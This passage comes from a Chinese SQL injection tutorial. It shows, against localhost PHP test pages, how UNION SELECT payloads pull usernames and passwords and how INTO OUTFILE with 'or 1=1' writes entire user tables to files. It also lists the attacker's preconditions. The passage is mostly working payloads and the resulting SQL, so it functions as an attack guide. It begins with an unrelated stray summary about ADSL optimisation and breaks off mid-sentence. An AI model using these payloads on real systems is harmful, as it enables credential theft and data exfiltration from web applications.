内容提要:ADSL的优化原理与普通Modem相同,同样是对操作系统的网络设置做修改,使操作系统网络设置上更能充分发挥其应有的效率。而修改主要是修改Maxmtu,也就是修改最大的TCP/IP数据包大小,在TCP/IP协议中,将要传输的数据分 …… |
http://127.0.0.1/injection/show.php?id=9 ... union select 1,username,password from user/*
如图:
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
三、导出文件
这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
select * from table into outfile ''c:/file.txt''
select * from table into outfile ''/var/www/file.txt''
但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
l 必须导出到能访问的目录,这样才能下载。
l 能访问的目录必须要有可写的权限,否则导出会失败。
l 确保硬盘有足够的容量能容下导出的数据,这个很少见。
l 确保要已经存在相同的文件名,会导致导出失败,并提示:"File ''c:/file.txt'' already exists",这样可以防止数据库表和文件例如/etc/passwd被破坏。
我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写 Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username=''$username'' into outfile ''c:/file.txt''
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
http://127.0.0.1/injection/user.php?username=angel ... file ''c:/file.txt
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:
由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
http://127.0.0.1/injection/user.php?username='' or& ... outfile ''c:/file.txt
实际的SQL语句变为:
SELECT * FROM user WHERE username='''' or 1=1 into outfile ''c:/file.txt''
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid=''1'' union select 1,username,password from user into outfile ''c:/user.txt''
这样可以导出文件了,如果我们要构造就提交:
http://127.0.0.1/injection/show.php?id ... ion select 1,username,password from user into outfile ''c:/user.txt
文件是出来了,可是有一个问题,由于前面的查询articleid=''1''为真了,所以导出的数据也有整个文章的一部分,如图:
所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,